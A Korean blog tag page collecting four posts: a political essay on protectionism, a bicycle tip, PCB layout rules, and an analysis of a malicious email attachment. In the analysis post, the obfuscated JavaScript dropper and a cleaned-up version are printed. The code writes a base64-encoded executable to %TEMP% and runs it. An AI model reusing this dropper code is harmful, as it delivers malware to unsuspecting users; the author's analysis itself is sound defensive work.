• Home
  • Tag
  • LocationLog
  • Guestbook
  • Admin
  • Write
블로그 이미지

감사합니다.

안녕1999

카테고리

전체 (3067)
자바스크립트 (20)
안드로이드 (14)
WebGL (4)
변비 (17)
정치,경제 (35)
C언어,ARM (162)
컴퓨터(PC, Note Book, 윈.. (41)
전자회로, PCB (27)
유머,안웃긴,GIF,동영상 (118)
국부론60 (71)
모듈(PCB) (3)
건강 (2)
FreeCAD (25)
PADS (43)
퇴직,퇴사,구직,취업 활동 (3)
C# (86)
엑셀 (8)
워드 (0)
LabView (6)
레고 (30)
FPGA (0)
Total
Today
Yesterday
Tistory 로고 이미지 티스토리 가입하기!
태그 : 지역로그
방명록 : 관리자 : 글쓰기
Blog is powered
by Daum /
Designed by Tistory
RSS FEED

달력

« » 2025.7
일 월 화 수 목 금 토
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31

공지사항

태그목록

  • 방법
  • 갤럭시
  • 비교
  • pcb
  • 윈도우
  • GCC
  • 개선
  • 옥션
  • 문제
  • 개발
  • 맛집
  • 핸드폰
  • 대통령
  • XP
  • 광고
  • 제천
  • 에러
  • 프로그램
  • 레고
  • 정부
  • arm
  • 문재인
  • 안드로이드
  • 경제
  • 공무원
  • 이유
  • 자바스크립트
  • C
  • 어린이
  • 매실

최근에 올라온 글

'주의'에 해당되는 글 4건

  1. 2017.01.28 미국 트럼프 대통령의 보호무역주의와 한국의 미래(일자리)
  2. 2016.08.02 자전거 탈때 주의사항
  3. 2016.07.23 스펨 메일의 정체 분석
  4. 2016.07.14 PCB 설계시 주의사항 - General Rules & Power Ground Rules

미국 트럼프 대통령의 보호무역주의와 한국의 미래(일자리)

정치,경제 / 2017. 1. 28. 10:43

편의상 존칭은 생략하도록 하겠습니다.


트럼프 대통령은 미국인들의 일자리를 되찾기 위해, 보호무역을 주장한다.

역사적인 관점에서 보면, 처음에는 보호무역주의였다.

그러나, 점점 자우무역주의가 대세가 되었다.

그 이유는, 자유무역이 더 경제적이기 때문이다.

세계의 무역도 "분업"으로 설명이 될 수 있다.

물론, 상대적 가치가 다르기때문에 무역이 발생하기도 한다.

어째든, "분업"의 관점에서 볼때, 자유무역주의는 당연하며, 보호무역주의는 자유무역주의를 이길 수 없다.

결론적으로 말하면, 트럼프의 일자리를 찾아오겠다는 보호무역주의는 헛된 망상에 불과하다.


다른 관점에서 보면,

기업은 보호무역주의를 좋아할까?

------------------------------------------------------------------------

정답은 "아니다"이다.

기업들이 왜 세계 곳곳에 공장을 세우겠는가?

그것이 더 경제적이기 때문이다.

가장 중요한 요인은 인건비이다.

우리나라도 마찬가지이다.
이미 동남아시아, 브라질등으로 나가버린 기업들을, 정부가 "한국내로 들어오세요"한다고 들어오겠는가?

세제 혜택을 많이 주겠다고 하나, 가장 큰 비용인 "인건비"는 정부도 어찌할 수 없는것이다.

미국도 우리나라와 마찬가지이다.

미국 대통령이 아무리 기업들에게 "미국내로 공장을 이전하시오"라고 협박을 해도, 먹히지 않는것이 당연하다.

미국정부가 기업들의 이윤(인건비)를 모두 보장해주지는 못하기때문이다.

트럼프 대통령이 집권한 2017년 1월, 미국의 거대 기업들은 새로운 대통령의 눈밖에 나지 않기위해, 조용히 분위기 파악중인것이다.

기업들은 미국 본토로 들어갈 이유도 없고, 들어갈 생각도 없다.

대통령이 시키니깐, 시늉만 하다 끝날것이다.


미국처럼 한국도 국민들의 일자리를 찾아오기 위해서는 "도널드 트럼프식 협박"보다는

기업이 못하면, 정부가 나서야한다.

----------------------------------------------------------------------------
정부는 세금이라는 돈이 있다.
정부가 민간 기업의 이윤을 못따라가는것은 당연하다(공산주의의 몰락)

정부는 국민 복지에도 힘써야하니, 적자나는것이 보통이다.

그러나, 세금을 투입하여, 잘 운영한다면, 큰 손해 안보면서, 유지가 가능해 보인다.

문제는 "손해를 안보고, 얼마나 잘 운영하는냐?"이다.


국내의 기업들이 더 많은 이익을 내기위해서는, 사회기반시설이 저렴하고, 잘 갖추어져 있어야 한다.

기업(공장)을 만들어서, 이윤을 내기까지, 최소 수십억원의 돈이 필요하다.

그러나, 개인입장에서 그런 큰 돈은 없다.

정부가 해야할 일은, 사회기반시설을 최대한 잘 갖추어서, 기업을 시작하는데 필요한, 초기자본을 줄여주어야 한다.

예를 들면, 정부가 공장 및 생산설비를 개인에게 매우 저렴한 비용으로 임대해주면,

개인 입장에서는 큰돈 들이지 않고도, 이익을 낼 수 있다.

물론, 문제는 큰 비용이 들어가는 공장 및 생산설비를, "정부가 어떻게(얼마나) 저렴하게 개인에게 임대해줄 수 있느냐?"이다.

이 문제의 해답도 간단하다.


건물(공장)도 대량생산으로 원가를 줄여야 한다.

------------------------------------------------------------------------------------------------

정부가 공장과 생산설비를 대량으로 만들어 공급하는것이다.

물론, 말도 안되는 소리라고 하겠지만, 가능하다.

공장(건물)은 한번 지으면, 최소 50년은 사용이 가능하다.

잘만 지으면, 몇백년도 사용할 수 있다.

정부가 가장 먼저 해야할 일은, 많은 공장(건물)을 지어, 저렴하게 임대해주어야 한다.

물론 수요도 없는 공장(건물)을 무작정 지어서 공급할 수는 없다.

하지만, 거의 공짜로 빌려서 사용할 수 있는 공장이 있다면, 시작하는 기업들에게는 아주 좋은 조건이다.

정부 입장에서도, 관리비가 거의 안드는 공장을 많이 지어서, 저렴하게 임대하면, 정부의 새로운 수입원이 된다.

(정부도 이윤을 남겨야 한다)


거대 공장 건물 블록

--------------------------------------------------------

물론, 이글을 읽는 대부분의 사람들이 생각하는 그런 공장 개념이 아니다.

그런 일반적인 공장 건물로는 안된다.

- 건물은 몇개의 블록단위로 지어져야 하며,

- 건물은 여러층으로 지어지고 (지하2~3층 ~ 지상 10~20층)

- 국민 1인당 2~3개 정도의 창고를 저렴하게 임대할 수 있을 만큼, 많이 건설해야함.

- 건물에는 인체와 같이, (고속)도로 및 관련 부속건물(식당, 휴게시설, 숙소등)들이 연결되어 있어야 한다.

  건물내에 도로 교통시설이 있어야 함

  출퇴근 거리가 짧아야함.

- 눈, 비, 바람, (온도) 등의 외부환경으로부터 100% 영향을 받지 않아야 한다.

  비가와도, 눈이 와도, 동일한 환경에서 일할 수 있어야 한다.

- 각 블럭별로, 화재에 대비하여, 화재가 번지지 못하는 중간에 빈 영역을 두어, 도로, 공원, 휴게시설로 사용할 수 있다.

  예) 어린이 놀이터, 화단, 도로, 통풍로

  단, 비로 부터 100%보호되는 공간을 만들어야 함.(옥상을 제외한, 전체 건물이 비를 맞지 않는 구조)

- 주용도는 공장이며, 불필요시, 창고시설로 사용한다.

  (주거용 블록으로 건설하기에는 비용부담이 크다.)

- 적은 비용으로, 동일한 구조로, 매우 많이 지을 수 있는 건물(공간).


생산설비도 정부가 대량생산하여, 국민에게 저렴하게 임대

------------------------------------------------------------------------------------------------------------

생산기계는 매우 고가이다.

개인이 쉽게 구입해서 사용할 수 없다.

정부가 대량으로 생산하여, 저렴하게 임대한다면,

개인은 생산설비를 가동하여, 이윤을 얻고, 세금도 내고, 임대료도 낸다.

개인도 좋고, 정부도 좋다. 1석 2조인것이다.

예전에도 그랬지만, 기계 1대만 있으면, 한가족 먹고사는데, 문제가 없는 기계들이 있다.

지금은 그 종류가 많이 줄었다.

하지만, 여전히, 기계 1대만 있다면, 먹고 사는데 지장이 없는 기계들이 많다.

물론, 대규모 시설들은 많은 사람을 고용하고, 높은 이윤을 발생한다.

개인 또는 소규모 공장에서 사용할 수 있는 기계들을 정부가 대량으로 생산하여, 국민들에게 저렴하게 공급한다면,

지금(2017년 1월)과 같은 취업대란은 없을것이다.

물론, 국민을 공돌이로 만들 생각은 없다.

그러나, 백수보다는 좋지 않은가?(인식을 바꾸어야 함. 삼성전자 공돌이도 공돌이다.)

일본에서 가업을 물려받아 일하는 사람이 많듯이,

한국에서는 정부가 저렴하게 임대해주는 생산기계를 돌려, 일하면 되는것이다.

굳이 취업하려고, 많은 시간을 스펙쌓기에 전념할 필요도 없다.

기본 교육을 마치고, 원하는 사람들은 정부에서 생산기계를 임대하여 먹고 살 수 있게 해주어야한다.

국민 모두가 대학을 나올 필요는 없다고 생각한다.(물론, 본인이 원하면, 정부가 대학교육까지도 시켜주면 좋겠다)

공부에 관심없는 사람들에게 한정된 말이다.

물론 희소성 때문에 먹고살기는 점점 힘들어지니, 정부가 생산된 물건을 해외 수출할 수 있는 여건을 마련해주어야 한다.

(국내 경쟁으로는 먹고살기 어려운게 한국이다. 수출만이 살길)


너무길어 이만 줄입니다.

여기에 추가적으로 정부가 해야할 일이 또 있습니다.(나중에 또 적겠습니다.)

이렇게 적다보면, 미래가 현실이 되겠죠.


망상이라고 생각하신다면, 그건 "망상"일뿐이지만,

"꿈(미래)"이라고 생각한다면, 그건 "미래"입니다.


감사합니다.

저작자표시 비영리 변경금지 (새창열림)

'정치,경제' 카테고리의 다른 글

2017년 1월 - 물가는 왜 올랐을까?  (0) 2017.02.11
2017 반기문 어록  (0) 2017.02.04
대한민국 바로세우기 제4차 포럼, 일자리 국민성장의 맥박, 문재인 전 대표 기조연설  (0) 2017.01.22
한국 경제의 방향  (0) 2017.01.21
정치에 관심을 가져야 하는이유  (0) 2017.01.21
Posted by 안녕1999
, |

자전거 탈때 주의사항

카테고리 없음 / 2016. 8. 2. 03:41
신발주머니나, 옷등을 핸들이나 앞바퀴쪽에 올리는 경우,
앞바퀴에 끼이면, 180도 회전을 경험하실 수 도 있습니다.
잘 가다가, 갑자기 앞으로 고꾸라집니다.
무슨 서커스 하는것도 아니고.
크게 다칠 수도 있으니 앞바퀴에 물건이 끼이지 않도록 주의 하세요.

저작자표시 비영리 변경금지 (새창열림)
Posted by 안녕1999
, |

스펨 메일의 정체 분석

카테고리 없음 / 2016. 7. 23. 01:00

요즘 회사메일로 스펨메일이 많이 오고 있다.

스펨등록을 해도 소용이 없다. 매번 다른 메일주소로 날라오니...


너무 많이 오는통에, 짜증이나서,

이 쓰레기같은 메일이 무엇인지 분석해보았다.


첨부파일은 압축파일이며,

압축파일 안에는 자바스크립트 파일이 들어 있다.


자바스크립트파일은 메모장에서도 편집이 가능하다.

var ZYb = " 321" + "";

var KXi6 = "Run" + "";

var Ts = "in" + "";

var Gf9 = ".b" + "";

var Nk2 = "xe" + "";

var ZQl = ".e" + "";

function YPp4(Qp){return Qp;};var FGi3 = "l" + "";

var Pg6 = "ESv" + "";

var ELz = "K2DPj" + "";

function Fw5(NGi){return NGi;};var Yh7 = "%/" + "";

var PEl = "MP" + "";

var Hm = "%TE" + "";

function So4(XUz3){return XUz3;};var Gj = "l" + "";

var Dv8 = "Shel" + "";

var Uq = "pt." + "";

var YBh = "WScri" + "";


(생략) 


var v_bin = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAA

Byd01o5gz0vfxXl3DacBcKAAAM9JWvsaeyBL39oHJffNj7F6LwjPS9/G5+91gzYvCMwVI5FEAM9L38YvC

/1g2uAgAAa8ARM8Mz21OJRfj/FeT4QAD/1ovw/9cD8P/Xi038A8YxRfgz0oHJu7fc0WoEWPfxM9K5fvyty

BACU9m57XofjjQQAzRZwFfGFRqjPA99A10Gx46PfQjQC4pdhO1VCPhWD///+4UtQ2Bf915I+FWP///+h

6iQ/g6MGH/OLHRxBbZ1XYj1SZ9grtGMkROxWRLV0V3b/XmTqmd0F86fNumVTqOJOjb15Ufh8rFM2OF


(생략) 

var WUc6          = 1
var BMd             = (8330 - 8330)
var VKb = (-6867 + 6869)
var WMg4          = (9211 - 9210)

function UBb2(Rl, Nh8) {
    var TYp = WScript[Op + Gu + Tz]((function Ex9(){return VAg;}()) + DNx2 + NLp + Ke5 + PQo8 + Ki + KDm6);
    var UQp = TYp[CYr + ALc + (function FSn(){return RCm6;}())](Rl);
    var Pe0 = UQp[GRq + GHc + TXp + (function XTm4(){return Gf;}())](WUc6, BMd);
    
    var Zn = WScript[SSz0(Op) + (function By(){return Gu;}()) + Tz](Pr + Km + Io + Cj + Sb + UTx);
    var KBc3 = Zn[AJc5 + Vi8 + ZOa2(Vk) + UGy](Ci0 + Gl + DUt8);
    KBc3[Vf + Vv] = "bin.base64";
    
    KBc3[AJh8] = Pe0[Ra9(RDj) + Io0(Za9)]();
    
    var CFt2 = WScript[Op + Gu + Tz](APa7 + Vi2 + (function OBc8(){return Oi8;}()) + JQd + WPi8(XTq));
    CFt2[AZl4] = WMg4;
    CFt2[YVm + (function LKz6(){return TPz;}())]();
    
    CFt2[FHb7 + EFk](KBc3[Lr4 + Gn4 + Px + Yy + WRr]);
    CFt2[Pw5 + Me + SPa2 + CBe](Nh8, VKb);
    
    Pe0[Mk]();
    CFt2[Mk]();
}


function Vx5(QFk, Nh8)
{
   var Og, NKj, QGj8
   var PDt2 = 31 - 30, AWl3 = 2;
   Og = new ActiveXObject(VAg + DNx2 + NLp + Ke5 + PQo8 + Ki + KDm6)
   NKj = Og[HXi5 + (function VPk1(){return Nb0;}()) + BIy3 + Kh4](Nh8, AWl3, true)
   NKj[FHb7 + EFk](QFk);
   NKj[Mk]();
   NKj = Og[Em9(HXi5) + Nb0 + BIy3 + Kh4](Nh8, PDt2);
   QGj8 = NKj[IBc + Yb1 + Nf8]();
   return(QGj8);
}

var EQl7=WScript[Op + OXk7(Gu) + Tz]((function WQg(){return YBh;}()) + Uq + Dv8 + So4(Gj));
var HHo3=EQl7.ExpandEnvironmentStrings(Hm + Fw5(PEl) + (function At(){return Yh7;}()));
var Gw5=HHo3 + ELz + YPp4(Pg6) + FGi3;
var RZh4=Gw5 + ZQl + Nk2;
var v_binpath=RZh4+Gf9+Ts;

try {
Vx5(v_bin, v_binpath);
UBb2(v_binpath, RZh4);
//EQl7[KXi6](RZh4 + ZYb);
}
catch (e) {WScript.Quit(1);};
WScript.Quit(0);



자바스크립트는 위와 같이 암호화 되어 있다.


var v_bin = "TVqQAAMAAAAEAAAA..."

이 내용은 Base64라는 코딩 방식이며, 내용물은 실행파일이 들어 있다.


스크립트문을 풀어보면


function Base64_to_bin_file(Rl, Nh8) {

    var TYp = WScript["CreateObject"]("Scripting.FileSystemObject");

    var UQp = TYp["GetFile"](Rl);

    var Pe0 = UQp["OpenAsTextStream"](1, 0);

    

    var Zn = WScript["CreateObject"]("MSXml2.DOMDocument");

    var KBc3 = Zn["createElement"]("Base64Data");

    KBc3["dataType"] = "bin.base64";

    

    KBc3["text"] = Pe0["ReadAll"]();

    

    var CFt2 = WScript["CreateObject"]("ADODB.Stream");

    CFt2["Type"] = 1;

    CFt2["Open"]();

    

    CFt2["Write"](KBc3["nodeTypedValue"]);

    CFt2["SaveToFile"](Nh8, 2);

    

    Pe0["Close"]();

    CFt2["Close"]();

}



function Create_K2DPjESvl_exe(QFk, Nh8)

{

   var Og, NKj, QGj8

   Og = new ActiveXObject("Scripting.FileSystemObject")

   NKj = Og["OpenTextFile"](Nh8, 2, true)

   NKj["Write"](QFk);

   NKj["Close"]();

   NKj = Og["OpenTextFile"](Nh8, 1);

   QGj8 = NKj["ReadLine"]();

   return(QGj8);

}


var EQl7=WScript["CreateObject"]("WScript.Shell");


var v_binpath=EQl7.ExpandEnvironmentStrings("%TEMP%/") + "K2DPjESvl.exe.bin";


try {

Create_K2DPjESvl_exe(v_bin, v_binpath);

Base64_to_bin_file(v_binpath, EQl7.ExpandEnvironmentStrings("%TEMP%/") + "K2DPjESvl.exe");

EQl7["Run"](EQl7.ExpandEnvironmentStrings("%TEMP%/") + "K2DPjESvl.exe 321");

}

catch (e) {WScript.Quit(1);};

WScript.Quit(0); 


위와 같이 아주 간단한 내용이다.


var v_bin = "TVqQAAMAAAAEAAAA..."

이내용을 파일로 저장하고, 다시 읽어서, Base64로 실행파일로 저장한 다음, 실행한다.


메일을 받은 사람이 자바스크립트 파일을 열어보는 순간, 자바스크립트가 실행되어,

실행파일을 생성하고, 실행파일을 동작시킨다.


(메모장으로 열때는 편집만 된다. 실행은 안된다.)

그러나 실수로, 인터넷 익스플로어로 열게되면, 자바스크립트가 실행된다.


실행파일의 내용은 시간관계상 분석 못한다.

관심있는분이 분석해주시면 감사하겠습니다.


INV000 b1a7.js(바이러스).zip


위 파일에는 내가 메일로 받은 파일이 들어있다.

안전을 위해, 파일확장자를 txt로 바꾸었으니, 실행되지는 않는다.

또한, 안전을 위해, 실행파일을 실행하는 명령은 주석처리가 되어 있다.

받아서, 메모장으로 열어봐도 문제는 없다.



보나마나 뻔한게, 랜섬웨어일 가능성이 높다.

요즘 돈되는건 랜섬웨어가 최고이니...


랜섬웨어는 하드디스크의 파일을 암호화시키고, 돈을 요구하는 프로그램이다.

돈 안주면, 파일 복구못한다.



마지막 실행문장은 제거후, 자바스크립트를 실행해서, 실행파일을 생성했다.

실행파일은 %TEMP%폴더에 생성된다.

윈도우 탐색기 주소창에 넣으면, 해당 폴더로 이동한다.


실행파일의 정보는 위와 같다.




실행파일이 사용하는 함수는 위와 같다. 177k의 비교적 작은 크기임에도, 온갖 종류의 기능은 다 사용하는듯 하다.

아마, 한번 실행되면, 여기저기 복사본을 만들듯 싶다.

스펨광고창부터, 랜섬웨어 기능까지...(추측)



Logo

www.hybrid-analysis.com

멜웨어, 바이러스등을 무료로, 자동으로 분석해주는 사이트이다.

분석결과는 "잘 모르겠음" ㅎㅎ(예상한대로)


https://www.hybrid-analysis.com/sample/0ae741fbcae6fb5af7bdec6e8219d02b522e74ac20906703b2573e14d1101252?environmentId=100


가상PC에서 직접 실행하면서 분석하기도 하나봅니다.


프로그램이라는게, 실행파일이 되면, 기계어코드만 남기때문에, 해당 코드가 무슨 목적으로 동작하는지 분석하기는 쉽지 않습니다.

해당 프로그램이 어떤 함수들을 호출하더라...는 정보로, 대충, 이럴것이다.

좀더 의심이 가면, 하나씩 분석을하게되면, 시간이 상당히 오래걸립니다.


제거 보기에는 이 프로그램은 암호화 기능을 사용해서, 랜덤하게 프로그램 코드를 생성하는듯 싶습니다.

그래야 백신프로그램도 잘 못잡거든요.


어쨌든, 전 시간이 없어, 더이상은 못합니다.


관심있으신분들 한번 분석해보시기 바랍니다.




  1. 안랩 랜섬웨어예방 - ahnlab.com‎

    광고www.ahnlab.com/‎
    최신 랜섬웨어 정보부터 피해 예방 가이드, 전용 백신까지!
    한국을 목표로 한 랜섬웨어, CryptoLocker 상세정보

검색결과

랜섬웨어에 대한 이미지 검색결과
랜섬웨어에 감염되어 암호화 된 파일은 복호화 키가 없으면 복구가 불가능하다. 따라서 중요한 사용자 문서나 데이터들은 물리적으로 분리된 저장소에 정기적으로 백업해두는 습관을 길러 악성코드에 감염되더라도 피해를 최소화 할 수 있도록 해야 한다.2015. 11. 4.

[보안정보] 알기 쉬운 랜섬웨어 - Anti-Virus Leader ViRobot

www.hauri.co.kr/information/notice_view.html?intSeq=179&page=1
사용자 의견
이 결과에 관한 정보 • 

랜섬웨어 - 나무위키

https://namu.wiki/w/랜섬웨어
주의: 혹시 이 문서에 들어오신 분 중, 랜섬웨어에 감염되신 분이 있다면 당장 PC를 강제종료하고 모바일로 보시길 바랍니다! 컴퓨터를 계속 켜 두고 있으면 아직 ...

안랩 랜섬웨어 보안센터 | AhnLab

www.ahnlab.co.kr/kr/site/securityinfo/ransomware/index.do
랜섬웨어 피해가 확산되고 있어 각별한 주의가 필요합니다. 안랩은 랜섬웨어 동향과 피해 예방을 위한 보안 가이드를 드립니다.

[정보보호]걸리면 끝(?) 랜섬웨어...이렇게 하면 막는다 - 대한민국 IT포털 ...

www.etnews.com/20151108000034
2015. 11. 8. - PC에 저장된 사진, 동영상, 문서 파일을 인질로 잡는 랜섬웨어 피해가 급증했다. 랜섬웨어에 걸리면 이같은 메시지가 나타난다. (자료:알약블로그) ...

랜섬웨어 관련 이미지이미지 신고
랜섬웨어에 대한 이미지 검색결과
랜섬웨어에 대한 이미지 검색결과
랜섬웨어에 대한 이미지 검색결과
랜섬웨어에 대한 이미지 검색결과
랜섬웨어에 대한 이미지 검색결과
랜섬웨어에 대한 이미지 더보기

[보안정보] 알기 쉬운 랜섬웨어 - Anti-Virus Leader ViRobot

www.hauri.co.kr › 보안정보 › 보안공지
2015. 11. 4. - 랜섬웨어는 ransom(몸값)과 ware(제품)의 합성어로 컴퓨터 사용자의 PC나 문서를 '인질'로 잡고 돈을 요구한다고 해서 붙여진 명칭이다. 1989년 ...

뉴스
뉴스 검색결과의 이미지
"어떤 랜섬웨어나 해커도 침투 못 해"
Korea Daily‎ - 1일 전
'랜섬웨어'로 인한 피해가 연일 발생하는 등 컴퓨터 보안 문제가 심각한 사회문제로 대두하고 ...
랜섬웨어에 대한 뉴스 더보기

알약 공식 블로그 :: 랜섬웨어 'Crypt0L0cker'주의! - 알약(Alyac)

blog.alyac.co.kr/305
2015. 4. 21. - 이번에 발견된 랜섬웨어는 드라이브 바이 다운로드 형식으로 유포되고 있습니다. 드라이브 바이 다운로드는 OS 및 SW의 보안취약점을 통해 변조된 ...

랜섬웨어 제거 | 랜섬웨어란 무엇입니까 | Microsoft 보안

https://www.microsoft.com/ko-kr/security/.../ransomware-whatis.aspx
랜섬웨어란 무엇입니까? 랜섬웨어는 일종의 맬웨어 (악성 소프트웨어)로 사용자의 동의없이 해당 컴퓨터에 불법으로 설치됩니다. 불법으로 설치된 랜섬웨어로 해당 ...

한국랜섬웨어침해대응센터

https://www.rancert.com/
랜섬웨어진단/보안컨설팅, 침해사고접수/신고, 각종 피해사례 및 대응 방법 제공.

랜섬웨어 대응센터 - 한국트렌드마이크로

www.trendmicro.co.kr/kr/security-intelligence/ransomware/
트렌드마이크로 랜섬웨어 대응 솔루션. [기업] 이메일 탐지 및 차단 Deep Discovery Email Inspector. 새롭게 출현하는 랜섬웨어의 90% 이상은 피해자들의 이메일을 ..


저작자표시 비영리 변경금지 (새창열림)
Posted by 안녕1999
, |

PCB 설계시 주의사항 - General Rules & Power Ground Rules

카테고리 없음 / 2016. 7. 14. 23:30

PCB 설계시 주의사항에 대한 글이 있어, 이를 번역 및 설명을 추가합니다.


원문 : http://ww1.microchip.com/downloads/cn/AppNotes/cn577009.pdf


모든 글이 그렇듯이, 글자로 쓰여진 내용은 필자의 의도와 생각을 100%표현하기가 어렵습니다. 생략된 사항도 많고, 핵심이 옆에 숨어 있을 수 도 있습니다.

제 글도 마찬가지 입니다.


General Rules

• Place components so as to avoid long loop traces.

  길게 배선하지 마라. 특히 루프형태로 배선하지 마라. 직선배선이 가장 좋다.


• Choose a metal box to shield the printed circuit board. 

  가능하면, 금속 뚜껑으로 PCB를 완젼히 감싸라. 1mm의 구멍도 없는것이 좋다. 물이 새지 않을 정도로 해야 완벽하다. 물이 샌다면, 전자파도 새는것이다.


• Use a ferrite core on the DC power cord to reduce EMI. 

  전원부에 패라이트 코어를 달아라.

  노이즈는 전원부에서 회로로 들어오는것도 있지만, 회로에서 전원부로 나가는것도 있습니다. 보통 스위칭 레귤레이터를 사용하는 경우, 전원쪽으로 심각한 노이즈가 나갑니다.

  패라이트 코어는 차선책이며, 가능하면, PCB내부에서 L,C,패라이트,칩 비드 등으로 처리를 해주어야 합니다.

  노이즈를 줄이는 방법은 LC 로우패스필터입니다.인덕터를 서로 반대로 감아서 상쇄시키는 방법도 있으나, 비용대비 효과는 크지 않습니다.


• Follow the guidelines to layout differential pairs, the ground plane, and high-speed signals.

  differential 신호선인 경우, 가이드라인을 준수해라. 고속신호는 더 주의해야한다.

  내용이 많은 관계로 생략합니다.

  

• Provide controlled impedance on all clock lines and high-speed digital signals traces with right termination schemes to prevent reflection and ringing. 

  해석이 쉽지 않은데, 특히, 클럭신호는 임피던스 매칭에 주의해야하며, 저항의 값이나 위치등으로 임피던스와 신호 반사등에 신경을 써야 한다.


• Ensure that the power supply is rated for the application and optimized with decoupling capacitors. 

  전원부에 콘덴서를 잘 달아주어야 한다. 전원부는 DC입력부만이 아니라, 전원을 사용하는 칩의 전원핀 까지가 모두 전원부이고, 전원부의 마지막에는 가능하면 콘덴서를 달아 주어야 합니다. 디지털 IC의 전원핀에 0.1uF정도의 콘덴서를 달아주는 이유이기도 합니다.


• Keep power and ground noise under 50mV peakto-peak. 

  전원부 노이즈를 가능하면 50mV이하로 낮추어야 한다.

  회로의 종류와 용도등에따라 다르긴합니다만, 가능하면, 조용한게 좋죠.


• Ensure that the switching DC-DC converter is filtered and properly shielded as the DC-DC power converter can produce a great deal of EMI noise. 

  스위칭 전원부는 EMI에 매우 취약하므로, 가능하면, 금속으로 전체를 감싸는것이 좋다.(가능하다면)


• Avoid via and pad in the path on any critical signal as via and pad will induce unwanted capacitance and inductance which can cause reflection and distortion. 

  중요한 신호선(클럭이나 고속 데이터선)은 비아를 주의해서 뚫어야하며, 불필요한 패드나 나뭇가지 형식의 배선은 피해야한다. 사용하지 않는 불필요한 가지 배선은 제거해라.

 고속 신호선의 비아는 주변에 그라운드 비아를 같이 뚫어줌으로써 대부분 중요 문제를 해결할 수 있습니다만, 항상 그런것은 아닙니다.



Power Ground Rules 

• Do not split the ground plane into separate planes for analog, digital, power pins. A single and contiguous ground plane is recommended. 

  그라운드를 분리하지 마라. 대부분 통 그라운드가 가장 좋다.

  항상 그런것만은 아닙니다. 경우에따라 다릅니다.


• Route high-speed signals above a solid and unbroken ground plane. 

  신호선이 지나갈때, 그라운드도 같이 따라가야합니다.

  직각 배선등으로 신호선만 지나가고, 그라운드가 잘리는 경우, 전자파 방사가 일어납니다.

  안되면 비아등으로 다른 면으로라도 그라운드신호가 따라가야 합니다.


• Fill copper in the unused area of signal planes and connect these coppers to the ground plane through vias. 

  사용하지 않는 빈 공간이라도 그라운드 동박을 씌워라. 비아를 잘 뚫어주고.


• Stagger the placement of vias to avoid creating long gap in the plane due to via voids. 

  비아를 여기저기 뚫어 주어라. 골고루.



자세한 설명을 하려면, 책한권으로도 부족합니다.제 설명도 많이 부족합니다만, 곰곰히 생각해보시면, 정답을 찾으실 수 있으실겁니다.

그냥 다 알려주어도, 내것이 되는건 아닙니다.

그 원리를 이해해야, 비로소 내것이 됩니다.

저작자표시 비영리 변경금지 (새창열림)
Posted by 안녕1999
, |
«이전 1 다음»

최근에 달린 댓글

글 보관함

링크

티스토리툴바